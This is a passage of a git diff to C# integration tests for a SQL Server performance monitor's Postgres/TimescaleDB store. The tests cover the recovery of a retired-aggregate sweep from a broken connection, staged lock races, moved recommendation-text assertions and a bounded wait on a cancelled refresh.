             await ExecuteAsync(connection, TimescaleSupport.LegacyCreateWaitStatsBaselineSql, ct);
             await ExecuteAsync(connection, TimescaleSupport.CreateWaitStatsIntervalBaselineSql, ct);
             await ExecuteAsync(connection,
-                $"SELECT add_continuous_aggregate_policy('collect.{legacy}', start_offset => INTERVAL '1 day', end_offset => INTERVAL '1 hour', schedule_interval => INTERVAL '1 hour', if_not_exists => true)", ct);
+                /* #5416: initial_start a day out, so no refresh job races the day-forty DROP (see the first test). */
+                $"SELECT add_continuous_aggregate_policy('collect.{legacy}', start_offset => INTERVAL '1 day', end_offset => INTERVAL '1 hour', schedule_interval => INTERVAL '1 hour', initial_start => now() + INTERVAL '1 day', if_not_exists => true)", ct);
             await RefreshFromAsync(connection, legacy, hour1, ct);
             await RefreshFromAsync(connection, successor, hour2, ct);
 
@@ -363,15 +368,31 @@ zero is gone from the statistic. */
                asserts the outcome (the sweep removes the legacy), not that the first call does. */
             var sweepLog = new CapturingTestLogger();
             var sweepDropped = 0;
-            for (var attempt = 0;
-                 attempt < 5 && await ScalarAsync<bool>(connection, TimescaleSupport.BaselineRelationExistsSql(legacy), null, ct);
-                 attempt++)
+            /* DropRetiredBaselineAggregatesAsync catches every non-cancel exception into its logger, so a drop
+               that broke the connection surfaced here as "Connection is not open" from the loop's next
+               statement while the real error sat in sweepLog, which only the assert below prints and a thrown
+               loop never reaches. Any failure in the loop, and a connection no longer open after a drop, now
+               fails with the sweep's log in the message. */
+            try
             {
-                if (attempt > 0)
+                for (var attempt = 0;
+                     attempt < 5 && await ScalarAsync<bool>(connection, TimescaleSupport.BaselineRelationExistsSql(legacy), null, ct);
+                     attempt++)
                 {
-                    await Task.Delay(TimeSpan.FromSeconds(1), ct);
+                    if (attempt > 0)
+                    {
+                        await Task.Delay(TimeSpan.FromSeconds(1), ct);
+                    }
+                    sweepDropped += await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, sweepLog, dayForty, ct);
+                    if (connection.State != System.Data.ConnectionState.Open)
+                    {
+                        throw new InvalidOperationException($"the connection is {connection.State} after sweep attempt {attempt + 1}");
+                    }
                 }
-                sweepDropped += await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, sweepLog, dayForty, ct);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                throw new Xunit.Sdk.XunitException($"the sweep loop failed with {ex.GetType().Name}: {ex.Message} -- the sweep's log: {sweepLog.Joined}", ex);
             }
             Assert.True(sweepDropped >= 1, $"the sweep never dropped the legacy aggregate: {sweepLog.Joined}");
             Assert.False(await ScalarAsync<bool>(connection, TimescaleSupport.BaselineRelationExistsSql(legacy), null, ct), "the legacy aggregate must be gone");
diff --git a/Darling/Darling.Tests/RetiredBaselineSweepRecoveryTests.cs b/Darling/Darling.Tests/RetiredBaselineSweepRecoveryTests.cs
new file mode 100644
index 0000000000..cb15680cee
--- /dev/null
+++ b/Darling/Darling.Tests/RetiredBaselineSweepRecoveryTests.cs
@@ -0,0 +1,251 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Data;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5416: the retirement sweep on a connection that a failed drop has just broken. A refresh job that is
+/// running when the sweep's <c>DROP MATERIALIZED VIEW ... CASCADE</c> lands makes the drop fail with
+/// <c>XX000: tuple concurrently deleted</c> (severity ERROR, not FATAL). Npgsql 10 closes the connection on an
+/// ERROR in SQLSTATE classes XX, 58 and 53 (measured: <c>State</c> goes to <c>Closed</c>, <c>FullState</c> to
+/// <c>Broken</c>), and the sweep's one connection is shared by every relation it walks and by every convergence step
+/// that follows it. Before this, one lost race left the next relation's attempts, and the baseline fallback views
+/// and statement statistics steps behind it, failing on "Connection is not open" until the next hourly pass.
+/// The sweep now reopens its own connection after a failed attempt.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class RetiredBaselineSweepRecoveryLiveTests
+{
+    /// <summary>
+    /// Deterministic: an event trigger raises <c>XX000</c> from inside the cpu aggregate's DROP, which is the
+    /// error (and the broken connection) the refresh-job race produces, on demand. The file_io view behind it in
+    /// the sweep must still drop in the SAME pass, the failure must be logged once, and the connection must be
+    /// Open when the sweep returns.
+    /// </summary>
+    [Fact]
+    public async Task Sweep_ReopensItsConnection_AfterADropBreaksIt_AndDropsTheNextRelation_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live sweep recovery test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var bodySucceeded = false;
+        try
+        {
+            /* The sweep runs on the connection shape the product's service uses: the product search path, so an
+               unqualified TimescaleDB call in the sweep (alter_job) resolves on a fresh store too, where the extension
+               lives in collect and a pooled backend started before the migration has no path to it. */
+            using var connection = new NpgsqlConnection(WithProductSearchPath(connectionString!));
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await CreateRetiredFixtureAsync(connection, ct);
+
+            await ExecuteAsync(connection, @"
+CREATE OR REPLACE FUNCTION collect.w5416_break_drop() RETURNS event_trigger LANGUAGE plpgsql AS $fn$
+BEGIN
+    IF EXISTS (SELECT 1 FROM pg_event_trigger_dropped_objects() WHERE object_name = 'cpu_utilization_baseline')
+    THEN
+        RAISE EXCEPTION 'planted #5416 drop failure' USING ERRCODE = 'XX000';
+    END IF;
+END
+$fn$", ct);
+            await ExecuteAsync(connection, "CREATE EVENT TRIGGER w5416_break_drop ON sql_drop EXECUTE FUNCTION collect.w5416_break_drop()", ct);
+
+            /* Sweep 1: cpu's drop fails and breaks the connection; file_io must still go. */
+            var firstLog = new CapturingTestLogger();
+            var dropped = await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, firstLog, ct);
+            Assert.True(connection.State == ConnectionState.Open,
+                $"the sweep left its connection {connection.State} after a failed drop: {firstLog.Joined}");
+            Assert.True(dropped == 1, $"the sweep dropped {dropped} relations, wanted 1 (file_io, behind the failed cpu drop): {firstLog.Joined}");
+            Assert.Equal(1, firstLog.Lines.Count(l => l.StartsWith("Warning:", StringComparison.Ordinal)
+                && l.Contains("cpu_utilization_baseline", StringComparison.Ordinal)));
+            Assert.Equal(1, firstLog.CountAtLevel(LogLevel.Warning));
+            Assert.True(await ScalarAsync<bool>(connection, "SELECT to_regclass('collect.file_io_baseline') IS NULL", ct), "file_io_baseline must be gone");
+            Assert.True(await ScalarAsync<bool>(connection, "SELECT to_regclass('collect.cpu_utilization_baseline') IS NOT NULL", ct), "cpu_utilization_baseline survives the failed drop");
+
+            /* The same connection object keeps working afterwards: the retry on the next pass. */
+            await ExecuteAsync(connection, "DROP EVENT TRIGGER w5416_break_drop", ct);
+            var secondLog = new CapturingTestLogger();
+            Assert.Equal(1, await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, secondLog, ct));
+            Assert.Equal(0, secondLog.CountAtLevel(LogLevel.Warning));
+            Assert.True(await ScalarAsync<bool>(connection, "SELECT to_regclass('collect.cpu_utilization_baseline') IS NULL", ct), "cpu_utilization_baseline must go on the retry");
+            Assert.Equal(0, await TimescaleSupport.DropRetiredBaselineAggregatesAsync(connection, null, ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await ExecuteAsync(cleanup, "DROP EVENT TRIGGER IF EXISTS w5416_break_drop", cleanupCt);
+                await ExecuteAsync(cleanup, "DROP FUNCTION IF EXISTS collect.w5416_break_drop()", cleanupCt);
+                await ExecuteAsync(cleanup, TimescaleSupport.DropRetiredBaselineRelationSql("cpu_utilization_baseline"), cleanupCt);
+                await ExecuteAsync(cleanup, TimescaleSupport.DropRetiredBaselineRelationSql("file_io_baseline"), cleanupCt);
+            });
+        }
+    }
+
+    /// <summary>
+    /// A refresh job in flight when the sweep's drop lands: the drop loses, the connection must be Open when the
+    /// sweep returns, and the retry loop must finish the job once the refresh is done.
+    ///
+    /// <para>#5549: this used to race a real <c>CALL run_job</c> against the drop, 40 times, with the policy also
+    /// due on the scheduler. On CI the client backend running that refresh died with 0xC0000005 while the drop was
+    /// running, and the postmaster restarted every process on the shared cluster, so the tests that were running
+    /// at the time failed too. A TimescaleDB job must not run while its aggregate is being dropped, so the race is
+    /// now staged instead. The refresh job still runs for real, to completion, before the sweep starts. Then the
+    /// runner holds what a refresh holds until it commits, <c>ROW EXCLUSIVE</c> on the materialization hypertable
+    /// (its DELETE and INSERT), in an open transaction. A <c>lock_timeout</c> on the test's own sweeper session makes
+    /// the first drop give up behind that lock instead of waiting it out (the limit is reset right after that attempt,
+    /// so the retries run with the server's own). That is the drop losing to the job with the connection still Open,
+    /// the shape of the deadlock arm (40P01), on every iteration. The broken-connection arm
+    /// (XX000) is pinned by the deterministic test above. The policy stays a day out, so the scheduler never
+    /// launches its own refresh beside the drop either.</para>
+    /// </summary>
+    [Fact]
+    public async Task Sweep_LeavesItsConnectionOpen_WhenARefreshHoldsALockDuringTheDrop_AgainstDevPostgres()
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live sweep race test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        var bodySucceeded = false;
+        try
+        {
+            using var setup = new NpgsqlConnection(connectionString);
+            await setup.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(setup, ct);
+
+            /* run_job is qualified with the extension's schema. A pooled connection opened before a fresh store's
+               migration has no search path to it, and the old test swallowed that 42883 with every other error, so on
+               a fresh database its refresh job never ran at all. */
+            var runJob = await ScalarAsync<string>(setup,
+                "SELECT format('%I.run_job', n.nspname) FROM pg_extension e JOIN pg_namespace n ON n.oid = e.extnamespace WHERE e.extname = 'timescaledb'", ct);
+
+            for (var i = 0; i < 5; i++)
+            {
+                await CreateRetiredFixtureAsync(setup, ct);
+                var jobId = await ScalarAsync<int>(setup,
+                    "SELECT job_id FROM timescaledb_information.jobs WHERE proc_name = 'policy_refresh_continuous_aggregate' AND hypertable_schema = 'collect' AND hypertable_name = 'cpu_utilization_baseline'", ct);
+                var materialization = await ScalarAsync<string>(setup,
+                    "SELECT format('%I.%I', materialization_hypertable_schema, materialization_hypertable_name) FROM timescaledb_information.continuous_aggregates WHERE view_schema = 'collect' AND view_name = 'cpu_utilization_baseline'", ct);
+
+                /* Opened with the product search path, like the service's own connections; run_job below stays qualified. */
+                using var sweeper = new NpgsqlConnection(WithProductSearchPath(connectionString!));
+                await sweeper.OpenAsync(ct);
+                using var runner = new NpgsqlConnection(WithProductSearchPath(connectionString!));
+                await runner.OpenAsync(ct);
+
+                /* The refresh runs for real and finishes before any drop starts (#5549). */
+                await ExecuteAsync(runner, $"CALL {runJob}({jobId})", ct);
+
+                /* The next refresh, in flight: the lock its materialization writes hold until it commits. */
+                using var inFlight = await runner.BeginTransactionAsync(ct);
+                await ExecuteAsync(runner, $"LOCK TABLE {materialization} IN ROW EXCLUSIVE MODE", ct);
+                await ExecuteAsync(sweeper, "SET lock_timeout = '500ms'", ct);
+
+                var log = new CapturingTestLogger();
+                for (var attempt = 0; attempt < 5; attempt++)
+                {
+                    await TimescaleSupport.DropRetiredBaselineAggregatesAsync(sweeper, log, ct);
+                    Assert.True(sweeper.State == ConnectionState.Open,
+                        $"iteration {i}: the connection is {sweeper.State} after sweep attempt {attempt + 1}: {log.Joined}");
+                    if (attempt == 0)
+                    {
+                        /* The drop lost to the job: lock_timeout (55P03), logged once, and the aggregate is still there. */
+                        Assert.True(await ScalarAsync<bool>(sweeper, "SELECT to_regclass('collect.cpu_utilization_baseline') IS NOT NULL", ct),
+                            $"iteration {i}: the first sweep dropped the aggregate through the in-flight job's lock: {log.Joined}");
+                        Assert.Equal(1, log.Lines.Count(l => l.StartsWith("Warning:", StringComparison.Ordinal)
+                            && l.Contains("cpu_utilization_baseline", StringComparison.Ordinal)
+                            && l.Contains("55P03", StringComparison.Ordinal)));
+                        /* The 500 ms limit was for the attempt that has to lose. Later attempts run with the server's own
+                           lock_timeout, so autovacuum or another job holding a lock briefly does not fail the test. */
+                        await ExecuteAsync(sweeper, "RESET lock_timeout", ct);
+                        await inFlight.CommitAsync(ct);
+                    }
+
+                    if (await ScalarAsync<bool>(sweeper, "SELECT to_regclass('collect.cpu_utilization_baseline') IS NULL AND to_regclass('collect.file_io_baseline') IS NULL", ct))
+                    {
+                        break;
+                    }
+
+                    await Task.Delay(TimeSpan.FromMilliseconds(250), ct);
+                }
+
+                Assert.True(await ScalarAsync<bool>(sweeper, "SELECT to_regclass('collect.cpu_utilization_baseline') IS NULL AND to_regclass('collect.file_io_baseline') IS NULL", ct),
+                    $"iteration {i}: the retired relations survived five sweep attempts: {log.Joined}");
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await ExecuteAsync(cleanup, TimescaleSupport.DropRetiredBaselineRelationSql("cpu_utilization_baseline"), cleanupCt);
+                await ExecuteAsync(cleanup, TimescaleSupport.DropRetiredBaselineRelationSql("file_io_baseline"), cleanupCt);
+            });
+        }
+    }
+
+    /// <summary>The connection string with <c>Search Path</c> set to the product's (<see cref="PgSchemaGenerator.SearchPath"/>), as DarlingWorker sets it.</summary>
+    private static string WithProductSearchPath(string connectionString) =>
+        new NpgsqlConnectionStringBuilder(connectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+
+    /// <summary>The pre-#2007 shapes the sweep retires: cpu as a continuous aggregate with its policies, file_io as a plain view.</summary>
+    private static async Task CreateRetiredFixtureAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await ExecuteAsync(connection,
+            "SELECT create_hypertable('collect.cpu_utilization_stats', by_range('collection_time', INTERVAL '1 day'), if_not_exists => true, migrate_data => true)", ct);
+        await ExecuteAsync(connection, @"
+CREATE MATERIALIZED VIEW IF NOT EXISTS collect.cpu_utilization_baseline
+WITH (timescaledb.continuous, timescaledb.materialized_only = false) AS
+SELECT server_id, time_bucket('1 hour', collection_time) AS bucket, collection_time,
+       sum(sqlserver_cpu_utilization) AS cpu_sum,
+       sum(power(sqlserver_cpu_utilization, 2)) AS cpu_sumsq,
+       count(sqlserver_cpu_utilization) AS cpu_count
+FROM collect.cpu_utilization_stats
+GROUP BY server_id, bucket, collection_time
+WITH NO DATA", ct);
+        /* The refresh policy of this fixture's aggregate is parked a day out in both tests, so the scheduler never launches
+           that policy's refresh while the sweep is dropping the aggregate (#5549). It stops only this policy: the other
+           jobs the migration scheduled in the test database still run on their own schedules. */
+        const string initialStart = "now() + INTERVAL '1 day'";
+        await ExecuteAsync(connection,
+            $"SELECT add_continuous_aggregate_policy('collect.cpu_utilization_baseline', start_offset => INTERVAL '3 days', end_offset => INTERVAL '1 hour', schedule_interval => INTERVAL '1 hour', initial_start => {initialStart}, if_not_exists => true)", ct);
+        await ExecuteAsync(connection,
+            "CREATE OR REPLACE VIEW collect.file_io_baseline AS SELECT server_id, date_trunc('hour', collection_time) AS bucket, collection_time, count(*) AS row_count FROM collect.file_io_stats GROUP BY 1, 2, 3", ct);
+    }
+
+    private static async Task<T> ScalarAsync<T>(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        var value = await command.ExecuteScalarAsync(ct);
+        Assert.NotNull(value);
+        return (T)Convert.ChangeType(value, typeof(T), System.Globalization.CultureInfo.InvariantCulture)!;
+    }
+
+    private static async Task ExecuteAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        await command.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/RightSizingWindowTests.cs b/Darling/Darling.Tests/RightSizingWindowTests.cs
index afee1f81e5..af630e2c4d 100644
--- a/Darling/Darling.Tests/RightSizingWindowTests.cs
+++ b/Darling/Darling.Tests/RightSizingWindowTests.cs
@@ -43,24 +43,32 @@ public void Describe_RendersTheCountAndSpan_CapsAtSevenDays_NeverTheLast(long co
     [InlineData("ViewerDataService.FinOps.Recommendations.cs")]
     public void ViewerRightSizing_NamesTheCoveredWindow_AndSkipsAnUnchangedSize(string file)
     {
-        var source = CSharpSourceWalker.StripCommentsAndStrings(
-            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file));
+        // The viewer keeps the reads and the window text; the thresholds and the advice wording moved to Darling.Storage.
         var raw = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+        var storageRaw = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "FinOpsRecommendationFigures.cs");
+        var source = CSharpSourceWalker.StripCommentsAndStrings(storageRaw);
+        var readerRaw = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsRecommendationsReader.cs");
 
+        Assert.DoesNotContain("\"the last ", readerRaw, StringComparison.Ordinal);
         Assert.DoesNotContain("\"the last ", raw, StringComparison.Ordinal);
-        Assert.Contains("From {cpuWindow}, P95 CPU utilization was", raw, StringComparison.Ordinal);
-        Assert.Contains("P95 SQL Server memory from {window} is", raw, StringComparison.Ordinal);
-        Assert.Contains("P95 SQL Server memory from {memWindow} is", raw, StringComparison.Ordinal);
+        Assert.DoesNotContain("\"the last ", storageRaw, StringComparison.Ordinal);
+        Assert.Contains("From {cpuWindow}, P95 CPU utilization was", storageRaw, StringComparison.Ordinal);
+        Assert.Contains("P95 SQL Server memory from {window} is", storageRaw, StringComparison.Ordinal);
+        Assert.Contains("P95 SQL Server memory from {memWindow} is", storageRaw, StringComparison.Ordinal);
+        Assert.DoesNotContain("memory over 7 days is {p95MemMb", storageRaw, StringComparison.Ordinal);
+        Assert.DoesNotContain("memory over 7 days is {p95Mb", storageRaw, StringComparison.Ordinal);
         Assert.DoesNotContain("memory over 7 days is {p95MemMb", raw, StringComparison.Ordinal);
         Assert.DoesNotContain("memory over 7 days is {p95Mb", raw, StringComparison.Ordinal);
-        Assert.Contains("RightSizingWindow.Describe(", raw, StringComparison.Ordinal);
+        Assert.DoesNotContain("memory over 7 days is {p95MemMb", readerRaw, StringComparison.Ordinal);
+        Assert.DoesNotContain("memory over 7 days is {p95Mb", readerRaw, StringComparison.Ordinal);
+        Assert.Contains("RightSizingWindow.Describe(", readerRaw, StringComparison.Ordinal);
         Assert.Matches(new Regex(@"targetMb\s*/\s*1024\s*<\s*physMb\s*/\s*1024"), source);
         Assert.Matches(new Regex(@"memRatio\s*<\s*0\.50m\s*&&\s*targetMb\s*/\s*1024\s*<\s*util\.PhysicalMemoryMb\s*/\s*1024"), source);
         Assert.Matches(new Regex(@"targetCores\s*>\s*0\s*&&\s*targetCores\s*<\s*cpuCount"), source);
         Assert.DoesNotMatch(new Regex(@"targetMb\s*<\s*physMb\s*&&"), source);
-        Assert.Contains("under 3ms across {storageWindow}", raw, StringComparison.Ordinal);
-        Assert.DoesNotContain("under 3ms over 7 days", raw, StringComparison.Ordinal);
-        Assert.Contains("HasQueryStatsCoverageAsync(", raw, StringComparison.Ordinal);
+        Assert.Contains("under 3ms across {storageWindow}", storageRaw, StringComparison.Ordinal);
+        Assert.DoesNotContain("under 3ms over 7 days", storageRaw, StringComparison.Ordinal);
+        Assert.Contains("HasQueryStatsCoverageAsync(", readerRaw, StringComparison.Ordinal);
     }
 
     [Theory]
@@ -78,30 +86,37 @@ public void WindowedReads_SelectTheSamplesOwnFirstAndLastTime(string sqlName)
     [Fact]
     public void Readers_TakeTheWindowFromThoseColumns_AndTheCpuFallbackStaysNeutral()
     {
-        var raw = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Recommendations.cs");
+        var raw = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsRecommendationsReader.cs");
 
         Assert.Matches(new Regex(@"reader\.IsDBNull\(4\)\s*\?\s*0L\s*:\s*Convert\.ToInt64\(reader\.GetValue\(4\),\s*CultureInfo\.InvariantCulture\),\s*reader\.IsDBNull\(2\)\s*\|\|\s*reader\.IsDBNull\(3\)\s*\?\s*TimeSpan\.Zero\s*:\s*reader\.GetDateTime\(3\)\s*-\s*reader\.GetDateTime\(2\)"), raw);
         Assert.Matches(new Regex(@"cpuReader\.IsDBNull\(3\)\s*\?\s*0L\s*:\s*Convert\.ToInt64\(cpuReader\.GetValue\(3\),\s*CultureInfo\.InvariantCulture\),\s*cpuReader\.IsDBNull\(1\)\s*\|\|\s*cpuReader\.IsDBNull\(2\)\s*\?\s*TimeSpan\.Zero\s*:\s*cpuReader\.GetDateTime\(2\)\s*-\s*cpuReader\.GetDateTime\(1\)"), raw);
         Assert.Contains("var cpuWindow = \"recent samples\"", raw, StringComparison.Ordinal);
-        Assert.Contains("storageSamples += reader.IsDBNull(7)", raw, StringComparison.Ordinal);
+        Assert.Contains("reader.IsDBNull(7) ? 0L : Convert.ToInt64(reader.GetValue(7)", raw, StringComparison.Ordinal);
+        var storageRaw = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "FinOpsRecommendationFigures.cs");
+        Assert.Contains("storageSamples += row.WindowSamples", storageRaw, StringComparison.Ordinal);
     }
 
     [Fact]
-    public void QueryStatsFirstSampleSql_IsOneScalarOverTheServersCutoffWindow()
+    public void IdleCoverageSql_CountsTheDistinctUtcDaysWithAQueryStatsSample()
     {
-        var sql = ViewerDataService.RecommendationsQueryStatsFirstSampleSql;
-        Assert.Contains("SELECT MIN(collection_time)", sql, StringComparison.Ordinal);
+        var sql = ViewerDataService.RecommendationsIdleCoverageSql;
+        /* One EXISTS probe per complete UTC day (#5492), the day starts D-7 .. D-1: $2 through $3 - 1 day. */
+        Assert.Contains("generate_series(CAST($2 AS timestamp), CAST($3 AS timestamp) - INTERVAL '1 day', INTERVAL '1 day')", sql, StringComparison.Ordinal);
         Assert.Contains("FROM v_query_stats", sql, StringComparison.Ordinal);
-        Assert.Contains("$1", sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("$2", sql, StringComparison.Ordinal);
-        Assert.DoesNotContain("collection_time >=", sql, StringComparison.Ordinal);
+        Assert.Contains("q.server_id = $1", sql, StringComparison.Ordinal);
+        Assert.Contains("q.collection_time >= d.day_start", sql, StringComparison.Ordinal);
+        /* Each day stops at its own end, and the oldest sample is read beside them (the rule needs both). */
+        Assert.Contains("q.collection_time <  d.day_start + INTERVAL '1 day'", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY collection_time LIMIT 1", sql, StringComparison.Ordinal);
     }
 
     [Fact]
     public void QueryStatsCoverage_IsExactlyTheSevenDayCutoff_WithNoSlack()
     {
-        var raw = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Recommendations.cs");
-        Assert.Contains("firstSample <= cutoff", raw, StringComparison.Ordinal);
+        var raw = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsRecommendationsReader.cs");
+        var viewerRaw = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Recommendations.cs");
+        Assert.DoesNotContain("firstSample <= cutoff", raw, StringComparison.Ordinal);
+        Assert.DoesNotContain("TimeSpan.FromDays(1)", viewerRaw, StringComparison.Ordinal);
         Assert.DoesNotContain("TimeSpan.FromDays(1)", raw, StringComparison.Ordinal);
     }
 }
diff --git a/Darling/Darling.Tests/RollupBackfillLiveTests.cs b/Darling/Darling.Tests/RollupBackfillLiveTests.cs
index ed66237e1e..554b380934 100644
--- a/Darling/Darling.Tests/RollupBackfillLiveTests.cs
+++ b/Darling/Darling.Tests/RollupBackfillLiveTests.cs
@@ -66,7 +66,7 @@ public async Task RollupCreatedOverExistingHistory_ReadsEmptyBelowItsFloor_Until
         await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
 
         /* All timestamps Kind-Unspecified — naive-UTC storage, see PgCollectorRowWriter. */
-        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var now = LiveClock.Now();
         var rawOldest = now.AddDays(-HistoryDays);
 
         /* ── 1. PRE-EXISTING HISTORY: raw rows going back well before any rollup exists. ── */
@@ -234,7 +234,7 @@ public async Task HealthyStore_WhereRawIsShallowerThanTheRollup_DoesNotFallBackT
         Assert.True(await TimescaleSupport.TryEnableAsync(connection, null, ct));
         await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
 
-        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var now = LiveClock.Now();
 
         /* Plant history, materialize ALL of it, then purge raw back to a short horizon — the steady state a
            healthy store reaches once its purges are armed. */
@@ -304,7 +304,7 @@ public async Task BackfillRollupsVerb_DryRunsThenBackfills_AndReportsCoverageItA
             Assert.True(await TimescaleSupport.TryEnableAsync(setup, null, ct));
             await TimescaleSupport.ConvertToHypertablesAsync(setup, null, ct);
 
-            var seedNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            var seedNow = LiveClock.Now();
             await SeedHourlyQueryStatsAsync(setup, seedNow.AddDays(-HistoryDays), seedNow, ct);
             await TimescaleSupport.EnsureContinuousAggregatesAsync(setup, null, ct);
         }
@@ -431,7 +431,7 @@ public async Task BackfillRollupsVerb_ConvergesTheThreeLevelQueryStoreChain_Incl
             Assert.True(await TimescaleSupport.TryEnableAsync(setup, null, ct));
             await TimescaleSupport.ConvertToHypertablesAsync(setup, null, ct);
 
-            var seedNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            var seedNow = LiveClock.Now();
             await SeedHourlyQueryStoreStatsAsync(setup, seedNow.AddDays(-HistoryDays), seedNow, ct);
             await TimescaleSupport.EnsureContinuousAggregatesAsync(setup, null, ct);
         }
@@ -519,7 +519,7 @@ public async Task Probe_CalibrationSampleCountsBuckets_NotRows()
         Assert.True(await TimescaleSupport.TryEnableAsync(connection, null, ct));
         await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
 
-        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var now = LiveClock.Now();
         await SeedHourlyQueryStatsAsync(connection, now.AddDays(-HistoryDays), now, ct);
         await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
 
@@ -586,7 +586,7 @@ public async Task MidSliceCancellation_LeavesTheFloorInsideTheRange_WithNoGapsAb
 
         /* Wide enough that the raw hypertable holds several chunks, so that one in the MIDDLE of the range exists to
            hold the refresh at. */
-        var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+        var now = LiveClock.Now();
         var rangeFrom = now.Date.AddDays(-CancellationHistoryDays);
         var rangeTo = now.Date;
 
@@ -654,6 +654,7 @@ returned rather than dropped so that a refresh which failed BEFORE it was held c
             },
             CancellationToken.None);
 
+        var cancelDidNotStopTheRefresh = false;
         try
         {
             await WaitUntilBackendWaitsOnAsync(connection, refreshConnection.ProcessID, heldChunk, refresh, ct);
@@ -663,7 +664,19 @@ returned rather than dropped so that a refresh which failed BEFORE it was held c
             try
             {
                 await cancellation.CancelAsync();
-                _ = await refresh;
+
+                /* #5587: bounded. The lock above is still held here, and the refresh's own command timeout is an hour,
+                   so a cancel that did not reach the backend would leave this wait with nothing to end it (a CI shard
+                   hung to its job timeout on a wait of this shape). On the limit the lock is released below, the refresh
+                   is let finish, and the test fails by name. */
+                try
+                {
+                    _ = await refresh.WaitAsync(CancelledRefreshLimit, CancellationToken.None);
+                }
+                catch (TimeoutException)
+                {
+                    cancelDidNotStopTheRefresh = true;
+                }
 
                 /* Release the cancelled backend BEFORE anything else touches this store. `await refresh` returns when
                    the client-side task completes, which is not the same instant the server-side backend finishes
@@ -672,7 +685,10 @@ Closing explicitly removes that window rather than relying on disposal order to
                    the same lifecycle-hardening the arming tests got: the shared-store flake class on this rig is
                    connection-level, so a test that deliberately aborts a statement should not leave the cleanup to
                    chance. */
-                await refreshConnection.CloseAsync();
+                if (!cancelDidNotStopTheRefresh)
+                {
+                    await refreshConnection.CloseAsync();
+                }
             }
             finally
             {
@@ -682,6 +698,14 @@ Closing explicitly removes that window rather than relying on disposal order to
             }
         }
 
+        if (cancelDidNotStopTheRefresh)
+        {
+            _ = await refresh;
+            Assert.Fail(
+                $"the cancelled refresh was still waiting on the held chunk {heldChunk} {CancelledRefreshLimit.TotalSeconds:0} s after the cancel, " +
+                "so the cancel did not reach its backend. The lock was released so the refresh could end.");
+        }
+
         var floor = await RollupBackfill.ReadCoverageFloorAsync(connection, view, ct);
 
         Assert.True(floor is not null,
@@ -729,6 +753,9 @@ proved nothing. */
     /// seconds, so reaching this means the refresh is stuck somewhere else.</summary>
     private static readonly TimeSpan HeldChunkWaitLimit = TimeSpan.FromSeconds(120);
 
+    /// <summary>#5587: how long a cancelled refresh may take to end while the chunk lock is still held; a cancel that works ends it in milliseconds.</summary>
